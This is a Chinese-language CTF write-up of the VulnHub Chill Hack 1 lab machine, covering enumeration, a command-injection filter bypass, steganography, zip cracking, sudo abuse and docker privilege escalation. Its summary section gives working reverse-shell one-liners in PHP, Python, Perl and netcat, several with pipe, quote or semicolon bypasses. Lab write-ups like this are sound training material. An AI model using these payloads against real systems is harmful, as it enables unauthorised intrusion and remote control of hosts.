VulnHub-Chill-Hack 1 靶场渗透测试 – 作者:ch4ngeba

作者:ch4nge
时间:2021.1.25

靶场信息:

地址:https://www.vulnhub.com/entry/chill-hack-1,622/
发布日期:2020年12月9日
难度:容易/中级
目标:获取标志Flag: 2 (User and root)

运行:VMware Workstation 16.x Pro(默认的NAT网络模式,VMware比VirtualBox更好地工作)

hint :枚举

前言

本次靶场使用VMware Workstation 16.x Pro进行搭建运行。将我的kali系统和靶机一样使用NAT网络模式。本次演练使用kali系统按照渗透测试的过程进行操作。在渗透的时候需要使用命令执行得到一个A用户shell,通过一个图片信息得到B用户的ssh密码,并在B用户上找到了存在sudo缺陷的脚本得到C用户的shell,并拿到user-flag,而B用户在docker组,利用docker进行提权至root。文章有不对的地方欢迎师傅指正~

一、信息搜集

1. 靶机ip

使用nmap进行扫描,得到ip 10.0.0.131

1611487128_600d579890af9aa84f64b.png!small?1611487128830

2. 开放端口 服务

1611487206_600d57e604b724ae94666.png!small?1611487206190

PORT          STATE          SERVICE              VERSION
21/tcp        open            ftp                      vsftpd 3.0.3
22/tcp        open            ssh                     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp        open            http                    Apache httpd 2.4.29 ((Ubuntu))

3. ftp匿名访问

1611487433_600d58c913a4f93142bc9.png!small?1611487433270

下载文件,是一个提示

Anurodh told me that there is some filtering on strings being put in the command -- Apaar

1611487521_600d59215e679dddc8139.png!small?1611487521581

4. 网站信息搜集

首页

1611487674_600d59ba60c3903041f0f.png!small

二、漏洞探测

1. 目录扫描

dirb http://10.0.0.131/

1611488305_600d5c31df79f617b1530.png!small?1611488306174

访问

http://10.0.0.131/secret/

1611488385_600d5c81b235652be2ce7.png!small?1611488385979

漏洞来的太快就像龙卷风~命令执行漏洞

三、漏洞利用

1. 命令执行漏洞利用

前面ftp里面拿到的提示说有字符串的过滤,想办法绕过

经过尝试发现可以使用管道符进行绕过

whoami|ls

1611504256_600d9a8030559301d9740.png!small?1611504256259

2. php反弹shell

whoami|php -r '$sock=fsockopen("10.0.0.129",8888);exec("/bin/bash -i <&3 >&3 2>&3");'

1611504355_600d9ae37a2c0cc273981.png!small?1611504356043

3. 信息搜集

在/var/www/files路径中发现hacker.php

1611504392_600d9b087954effd62720.png!small?1611504392694

查看文件内容,得到提示

1611504434_600d9b32218f620127eca.png!small?1611504434386

在黑暗中看!你会找到答案的

继续寻找可用信息,在/var/www/files/images路径找到hacker-with-laptop_23-2147985341.jpg

由于靶机是CTF模式,是有可能存在信息隐写的。看图片名字应该是有信息隐藏在图片里面了,使用python httpserver搭建服务,将文件下载到本地

发现使用steghide可以将信息提取出来,得到backup.zip,解密需要密码

steghide extract -sf hacker-with-laptop_23-2147985341.jpg

1611504500_600d9b74162e67160b4f2.png!small?1611504500316

使用fcrackzip工具暴力破解zip密码,使用kali系统自带的/usr/share/wordlists/rockyou.txt字典

fcrackzip -D -u -p /usr/share/wordlists/rockyou.txt  backup.zip

1611504622_600d9bee7d5d808153771.png!small?1611504622593

得到密码 pass1word

解压得到source_code.php

<html>
<head>
        Admin Portal
</head>
        <title> Site Under Development ... </title>
        <body>
                <form method="POST">
                        Username: <input type="text" name="name" placeholder="username"><br><br>
                        Email: <input type="email" name="email" placeholder="email"><br><br>
                        Password: <input type="password" name="password" placeholder="password">
                        <input type="submit" name="submit" value="Submit"> 
                </form>
<?php
        if(isset($_POST['submit']))
        {
                $email = $_POST["email"];
                $password = $_POST["password"];
                if(base64_encode($password) == "IWQwbnRLbjB3bVlwQHNzdzByZA==")
                { 
                        $random = rand(1000,9999);?><br><br><br>
                        <form method="POST">
                                Enter the OTP: <input type="number" name="otp">
                                <input type="submit" name="submitOtp" value="Submit">
                        </form>
                <?php   mail($email,"OTP for authentication",$random);
                        if(isset($_POST["submitOtp"]))
                                {
                                        $otp = $_POST["otp"];
                                        if($otp == $random)
                                        {
                                                echo "Welcome Anurodh!";
                                                header("Location: authenticated.php");
                                        }
                                        else
                                        {
                                                echo "Invalid OTP";
                                        }
                                }
                }
                else
                {
                        echo "Invalid Username or Password";
                }
        }
?>
</html>

根据文件内容可以判断出这是登录页面的程序,判断输入的密码是否正确,正确密码的base64编码是

IWQwbnRLbjB3bVlwQHNzdzByZA==
解密:
⚡ root@ch4nge  ~/file/VulnHub/Chill_Hack  echo -n "IWQwbnRLbjB3bVlwQHNzdzByZA==" |base64 -d
!d0ntKn0wmYp@ssw0rd# 

密码:!d0ntKn0wmYp@ssw0rd

猜测密码是ssh用户的,查看ssh用户名anurodh、apaar、aurick

1611505224_600d9e48f31cd62513711.png!small?1611505225121

分别使用ssh登录,在登录anurodh用户时成功

1611504870_600d9ce6728159acf8fac.png!small?1611504870648

在/home/apaar路径发现local.txt文件,没有读取权限。尝试获取apaar用户权限或者root权限进行读取

1611505304_600d9e98a50c36a36865d.png!small?1611505304815

4. 获取apaar用户权限

使用sudo -l查看可以以sudo的身份运行的命令

anurodh@ubuntu:~$ sudo -l
Matching Defaults entries for anurodh on ubuntu:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User anurodh may run the following commands on ubuntu:
    (apaar : ALL) NOPASSWD: /home/apaar/.helpline.sh

发现可以将/home/apaar/.helpline.sh作为apaar用户运行,且不需要输入密码

查看该文件,它会提示输入两次数据,然后将它们执行/dev/null,且第二次输入的命令可以被执行

1611505682_600da0129f07db173252b.png!small?1611505682763

这里使用apaar用户运行文件,并在第二次信息输入/bin/bash,以尝试获取apaar用户的shell

1611505840_600da0b0921111af2023d.png!small?1611505840745

成功了!使用python3升级这个shell

python3 -c 'import pty; pty.spawn("/bin/bash")'

1611505889_600da0e13d1be93d126bc.png!small?1611505889382

5. 得到第一个标志 USER-FLAG

{USER-FLAG: e8vpd3323cfvlp0qpxxx9qtr5iq37oww}

6. 使用LinEnum.sh获取apaar和anurodh用户的信息

LinEnum.sh是一个非常好用的脚本,有温馨提示,LinEnum脚本下载

在本地使用python HTTPServer搭建服务,在靶机的shell中下载LinEnum脚本

1611506090_600da1aa8f4988daf5fd8.png!small?1611506090711

运行脚本,得知当前用户(anurodh)在docker用户组(apaar没有)

$ chmod +x LinEnum.sh
$ ./LinEnum.sh

1611506269_600da25da147482bc11da.png!small?1611506269713

四、权限提升

1. docker提权

安利一个很好用的网站https://gtfobins.github.io/

在gtfobins搜索docker获取相关信息,得到提权命令,获取root权限

docker run -v /:/mnt --rm -it alpine chroot /mnt sh

1611506425_600da2f94942abfc6c39c.png!small?1611506425411

升级交互式shell

python3 -c 'import pty; pty.spawn("/bin/bash")'

2. 得到第二个标志 ROOT-FLAG

{ROOT-FLAG: w18gfpn9xehsgd3tovhk0hby4gdp89bg}

1611506447_600da30f383398b88bb39.png!small?1611506447371

总结

靶机很友好,网站的命令执行漏洞探测很简单,这里补充一下在此次反弹shell的时候可以用到的方法

使用管道符绕过过滤

whoami|ls-->ls
whoami|ls /home-->ls /home

php

whoami|php -r '$sock=fsockopen("10.0.0.129",8888);exec("/bin/bash -i <&3 >&3 2>&3");'

python3

whoami|python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.129",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

perl

whoami|perl -e 'use Socket;$i="10.0.0.129";$p=5555;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
whoami|perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.0.0.129:5555");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

nc(netcat)

whoami|rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.129 5555 >/tmp/f

使用双引号绕过过滤

whoami""-->whoami
ls""-->ls

反弹shell

rm"" /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.129 5555 >/tmp/f

使用分号绕过过滤

ls;whoami-->whoami
ls;ls-->ls

反弹shell

ls;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.129 5555 >/tmp/f

来源:freebuf.com 2021-01-25 01:03:14 by: ch4ngeba

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论